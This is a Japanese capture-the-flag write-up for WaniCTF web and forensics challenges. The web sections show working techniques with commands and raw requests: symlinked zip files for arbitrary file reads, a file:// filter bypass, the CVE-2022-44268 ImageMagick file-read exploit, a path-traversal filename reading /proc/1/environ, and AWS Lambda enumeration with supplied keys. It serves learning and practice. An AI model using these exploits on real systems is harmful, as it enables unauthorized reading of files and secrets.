- [web] IndexedDB
- [web] Extract Service 1
- [web] 64bps
- [web] Extract Service 2
- [web] screenshot
- [web] certified1
- [web] Lambda
- [web] certified2
- [forensics] Just_mp4
- [forensics] whats_happening
- [forensics] lowkey_messedup
- [forensics] beg_for_a_peg
- [forensics] Apocalypse
[web] IndexedDB
とりあえずBurp Suiteを開き、サイトを見てみる。
GET /
を開いてみると以下のようなjavascriptコードが見て取れる。
window.onload = function () { var openRequest = indexedDB.open("testDB"); openRequest.onupgradeneeded = function () { connection = openRequest.result; var objectStore = connection.createObjectStore("testObjectStore", { keyPath: "name", }); objectStore.put({ name: "FLAG{[redacted]}" }); }; ... }
身も蓋も無い解法だが、これを見るとフラグが書いてあるので、それを答えると正答。
[web] Extract Service 1
officeファイルを与えると、書かれている文字列を抽出して返してくれるアプリ。
ソースコードが与えられているので見てみると、zipとして解凍してテキストを抽出している。
シンボリックを入れることで任意のファイルを読み取ることができないだろうか。
ln -s /flag flag
でシンボリックリンク作成zip -ry x.zip flag
でzipにする
これを送ってやればいい。
zipの中のどのファイルを表示するかは、POSTのtargetというパラメタで指定可能。
POST / HTTP/1.1 Host: extract1-web.wanictf.org Content-Length: 457 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary31EmG2GSyMaONPVG Connection: close ------WebKitFormBoundary31EmG2GSyMaONPVG Content-Disposition: form-data; name="file"; filename="x.zip" Content-Type: application/x-zip-compressed PK ... ------WebKitFormBoundary31EmG2GSyMaONPVG Content-Disposition: form-data; name="target" flag ------WebKitFormBoundary31EmG2GSyMaONPVG--
みたいな感じで送ればフラグが得られる。
[web] 64bps
この問題について少し説明をすると、
- nginx.confの
limit_rate 8; # [web] 8 bytes/s = 64 bps
毎秒8バイトしか送られてこない - Dockerfileの
dd if=/dev/random of=2gb.txt bs=1M count=2048 && cat flag.txt >> 2gb.txt
2gb.txtの末尾にフラグがあるが、その前に2048MBのゴミデータが入っている
という感じ。
なので、むっちゃ転送速度が遅いのに、フラグが奥の方にあるからどうする?という問題。
色々考えを巡らしたり実験するとRangeヘッダーでフラグを得ることができた。
HTTPリクエストには様々なヘッダーを付与できるが、その中でRangeヘッダーはリソースの取得byte rangeを指定することができるヘッダーになる。
1024×1024×2048は2147483648なので、以下のようなリクエストを送れば先頭のゴミデータを飛ばしてフラグを取得できる。
それでも時間が結構かかるが、気長に待てば送られてくる。
GET /2gb.txt HTTP/1.1 Host: 64bps-web.wanictf.org Connection: close Range: bytes=2147483648-
[web] Extract Service 2
パッチが当てられて、拡張子に合わせて開く場所が固定にされている。
指定のパスにシンボリックリンクを張れば問題ない。
docxの場合はword/document.xml
なので、以下のようにやるとフラグが得られる。
mkdir word
としてcd word
ln -s /flag document.xml
でシンボリックリンク作成cd ../
で戻って、zip -ry x.zip word
でzipにする
[web] screenshot
スクリーンショットを取ってくれるwebサービスが与えられる。
フラグは/flag.txt
にあるので、これを持ってくる。
file://
で持ってこれそうだが、以下のようなフィルタリングがかかっている。
if (!req.query.url.includes("http") || req.query.url.includes("file")) { res.status(400).send("Bad Request"); return; }
前半のhttpはどこにhttpがあってもいいし、後半のfileは小文字しかマッチングされないので、
以下のようにやればフラグが手に入る。
FILE:///http/../flag.txt
[web] certified1
Dockerfileで特定バージョンのImageMagickが置かれているのが特徴的。
ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"
脆弱性情報を調べると日本語記事で良さそうなのが見つかる。
CVE-2022-44268 ImageMagick Arbitrary File Read - shimojubox
ここに書いてある通りにやって/flag_A
を抜き出してみよう。
$ convert -size 500x500 xc:white test.png $ pngcrush -text a "profile" "/flag_A" test.png read_flag1.png Recompressing IDAT chunks in test.png to read_flag1.png Total length of data found in critical chunks = 179 Best pngcrush method = 5 (ws 15 fm 1 zl 9 zs 1) = 179 CPU time decode 0.004579, encode 0.007305, other 0.008650, total 0.024044 sec
これで作成したread_flag1.pngをサービスにアップロードして応答を得る。
$ identify -verbose 5025f8fc-e012-4e48-95bc-1a5120173765.png Image: Filename: 5025f8fc-e012-4e48-95bc-1a5120173765.png Format: PNG (Portable Network Graphics) Mime type: image/png Class: PseudoClass ... Raw profile type: 42 464c4[redacted]17d0a signature: c984ee3cffb73bfe6b045d9af5c2cf26f72a8731188e5ac7f911d2ef570c9e6c ...
profile typeとしてhex stringsが記録されているのでCyberChefでデコードするとフラグ獲得。
[web] Lambda
添付ファイルで、Access key ID、Secret access key、Regionが与えられるのでこれを使ってアクセスしてみよう。
AWS CLIを使っていく。
$ aws configure AWS Access Key ID []: ******************7 AWS Secret Access Key []: ******************3 Default region name []: ap-northeast-1 Default output format [None]:
こんな感じでセットして、コマンドを使っていく。
APIサーバーとしてk0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com
が使われている。
問題名にもあるようにlambdaを探索する。
$ aws lambda list-functions An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:iam::839865256996:user/SecretUser is not authorized to perform: lambda:ListFunctions on resource: * because no identity-based policy allows the lambda:ListFunctions action
ユーザー名はSecretUser。
ポリシーを確認してみよう。
$ aws iam list-attached-user-policies --user-name SecretUser --query 'AttachedPolicies[].PolicyArn' [ "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc", "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2" ] $ aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc { "Policy": { "PolicyName": "WaniLambdaGetFunc", "PolicyId": "ANPA4HC66ZQSAS4EGIKSK", "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "CreateDate": "2023-04-23T01:27:27+00:00", "UpdateDate": "2023-04-23T01:27:27+00:00", "Tags": [] } } $ aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "iam:ListPolicies", "iam:GetRole", "iam:GetPolicyVersion", "iam:GetPolicy", "iam:ListAttachedRolePolicies", "iam:ListAttachedUserPolicies", "iam:ListRoles", "apigateway:GET", "iam:ListRolePolicies", "iam:GetRolePolicy" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": "lambda:GetFunction", "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2023-04-23T01:27:27+00:00" } }
ふむふむ。
関数のARNが分かったし、GetFunctionができるのでソースコードを抜いてこよう。
$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function { ... "Code": { "RepositoryType": "S3", "Location": "https://aw..." } }
Code > Locationにソースコードのダウンロードリンクが乗っているので持ってくる。
WaniCTF_Lambda.dll
が落ちてくるのでdnSpyで開くとフラグが書いてある。
[web] certified2
次は環境変数を取得してやる。
docker環境を見てみると/proc/1/environ
を取ってくればいいと思うのだが、うまくいかない。
改めて調査してみると、kurenaifさんの動画が見つかる。
【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube
ほー、参考になるなぁ…と思いながら見てみると、疑問で/proc/self/environ
が取れないかという話をしていて面白すぎる。
lseekを使ってファイルサイズを取得していて、0になるから取得ができていないとのこと。
うーむ、別の怪しい所を探してみると、パストラバーサルあたりの脆弱性が気になる。
色々観察すると、面白い挙動を見つける。
POST /create
でファイル名を使ってパストラバーサルをすると特定ファイルを/data/[uuid]/input
として取り出して来ることができることに気が付く。
ここまで持ってくることができれば前述の脆弱性を使って再度取り出せるので、これを利用することにしよう。
まず、以下のようなリクエストで/proc/1/environ
を移動させる。
POST /create HTTP/1.1 Host: certified-web.wanictf.org Content-Length: 209 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynhRb8NemRluVGlVs Connection: close ------WebKitFormBoundarynhRb8NemRluVGlVs Content-Disposition: form-data; name="file"; filename="../../../../../../proc/1/environ" Content-Type: image/png hoge ------WebKitFormBoundarynhRb8NemRluVGlVs--
以下のように帰ってきたとする。
HTTP/1.1 500 Internal Server Error Server: nginx Date: Sat, 06 May 2023 05:36:43 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 208 Connection: close Failed to process image Caused by: image processing failed on ./data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74: magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.
すると、パストラバーサル先のファイルが/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/input
に保存されてくるので、
脆弱性を再度使って、$ pngcrush -text a "profile" "/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/input" test.png read_flag2.png
として
アップロードして出てきたpng画像を$ identify -verbose 0e6a077e-2091-429f-a3c7-13308ee5ede3.png
みたいにすればhex形式のフラグが手に入る。
[forensics] Just_mp4
mp4ファイルが与えられる。
とりあえずexiftoolを試すと面白いものが見つかる。
$ exiftool chall.mp4 ExifTool Version Number : 12.57 File Name : chall.mp4 ... Publisher : flag_base64:[redacted] Image Size : 512x512 ...
ok.
これをbase64デコードするとフラグが出てくる。
[forensics] whats_happening
updogというよくわからないファイルが与えられる。
よくわからないファイルにはfileコマンドを試すのが定石。
$ file * updog: ISO 9660 CD-ROM filesystem data 'ISO Label'
7zipってiso展開できたよな…と思って試してみると成功する。
7z x updog
とするとFLAG.pngというのが見つかるので、開くとフラグが書いてある。
[forensics] lowkey_messedup
pcapファイルが与えられる。
USBパケットが記録されているので、とりあえずキーロガーだろうと予測を立てて、
ソルバーを使ってキー入力を抽出してこよう。
どうやってもいいのだが、とりあえず以下のプロジェクトを使って抽出した。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.
$ python3 CTF-Usb_Keyboard_Parser/Usb_Keyboard_Parser.py chall.pcap [+]Using filter "usb.capdata" Retrived HID Data is : FLAG{[redacted]} [+]Using filter "usbhid.data" Retrived HID Data is :
フラグが得られた。
[forensics] beg_for_a_peg
pcapngファイルが与えられる。
中身を見るとHTTP通信が記録されているので、生データをもってこよう。
wireshark > ファイル > オブジェクトをエクスポート > HTTP
でファイルを持ってくることにしよう…としたがflag.pngが分割されてしまう。
なぜかをちゃんと考えるべきなのだが、一旦それは置いておいて別の方法を探す。
TCPストリーム#2をみてみると、ちゃんと1つになって出ているようなので、
これを持ってくるとフラグが書かれたjpgファイルになっている。
[forensics] Apocalypse
色々ガチャガチャやっていたが、結局、青い空を見上げればいつもそこに白い猫のステガノグラフィー解析で
ポチポチやってるとフラグがうっすら見えたので書き写すと答え。
CRCがおかしかったのでCRCをもとにピクセル復元とかが求められている気もするが…その辺りはわからず